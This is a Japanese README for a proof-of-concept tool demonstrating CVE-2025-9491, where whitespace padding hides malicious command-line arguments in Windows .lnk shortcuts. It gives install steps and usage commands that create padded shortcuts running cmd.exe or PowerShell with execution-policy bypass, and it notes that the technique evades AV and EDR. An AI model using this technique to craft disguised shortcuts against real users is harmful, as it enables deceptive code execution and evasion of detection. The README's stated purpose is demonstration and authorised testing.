
Windows ショートカット(.lnk)ファイルの脆弱性(ZDI-CAN-25373 / CVE-2025-9491)を実証する概念実証ツールです。このツールは、空白文字パディングを利用して悪意のあるコマンドライン引数を .lnk ファイル内に隠す方法を示します。
このツールは教育目的および許可されたセキュリティテストの目的のみで提供されています。 コンピュータシステムへの不正アクセスは違法です。このツールは、自分が所有しているか、明示的なテスト許可を得ているシステムでのみ使用してください。
これは、Windows の .lnk(ショートカット)ファイルを作成・操作し、CVE-2025-9491 脆弱性を実証するための概念実証ツールです。このツールでは以下の操作が可能です。
この脆弱性は、Windows がショートカットのプロパティを表示する仕組みを悪用し、攻撃者がショートカットを検査するユーザーから悪意のあるコマンドライン引数を隠すことを可能にします。
CVE-2025-9491 は、.lnk(ショートカット)ファイルに影響する Windows UI の誤表示脆弱性です。Trend Micro の Zero Day Initiative(ZDI-CAN-25373)によって発見され、少なくとも 2017 年以降、国家支援を受けた APT グループによって悪用されています(詳細はクレジットを参照)。
この脆弱性は、Windows ショートカット UI の固定サイズの「ターゲット」フィールドを悪用します。引数を空白文字(スペース、タブ、改行、復帰)でパディングすることで、悪意のあるコマンドを隠し、隠されたペイロードを実行できます。これにより、ショートカットを検査するユーザーは実際のコマンドではなくパディングされた空白だけを見ることになり、EDR のテレメトリ上では極端に長いコマンドラインが記録され、十分に長ければ一般的な EPP や AV は読み取りを放棄するため、検出回避にも利用されます。
Python 3.7 以上が必要です。
リポジトリのクローンまたはダウンロード:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
依存関係のインストール:
簡易的な方法です。venv の使用を推奨します。
pip install -r requirements.txt
ツールの実行:
python main.py --help
ツールには create、obfuscate、parse の 3 つのメインモードがあります。
新規に難読化された LNK ファイルをゼロから作成します。
構文:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
必須引数:
-t, --target - 対象の実行可能ファイルへのパス-a, --arguments - 対象の実行可能ファイルに渡す引数-o, --output - 出力 LNK ファイルの保存先オプション引数:
-c, --charset - パディング用のカスタム文字セット(HEX 形式)
20,09,0A,0B,0C,0D(スペース、タブ、LF、VT、FF、CR)-s, --padding_size - パディング文字数
128(既知の上限なし)-p, --pattern_type - パディングパターンのスタイル
-i, --icon - ショートカットに使用するカスタムアイコンのパス
-d, --description - ショートカットの表示説明文
-v, --verbose - 詳細出力を有効化
例:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
既存の LNK ファイルの引数にパディングを追加します。
構文:
python main.py obfuscate -i INPUT -o OUTPUT [options]
必須引数:
-i, --input - 難読化する既存の LNK ファイルのパス-o, --output - 出力 LNK ファイルの保存先オプション引数:
-c, --charset - パディング用のカスタム文字セット(HEX 形式)
20,09,0A,0B,0C,0D-s, --padding_size - パディング文字数
128-p, --pattern_type - パディングパターンのスタイル
-v, --verbose - 詳細出力を有効化
例:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
既存の LNK ファイルの内容を表示します。
構文:
python main.py parse -i INPUT
必須引数:
-i, --input - 解析・表示する LNK ファイルのパス例:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
これにより、200 のランダムパディング文字が先頭に付加された隠し PowerShell コマンドを持つ cmd.exe へのショートカットが作成されます。
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
これにより、既存のショートカットに 512 文字のモノパターンパディング(スペースとタブを使用)が追加されます。
python main.py parse -i "suspicious.lnk"
出力には隠された引数を含むすべてのプロパティが表示されます。
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"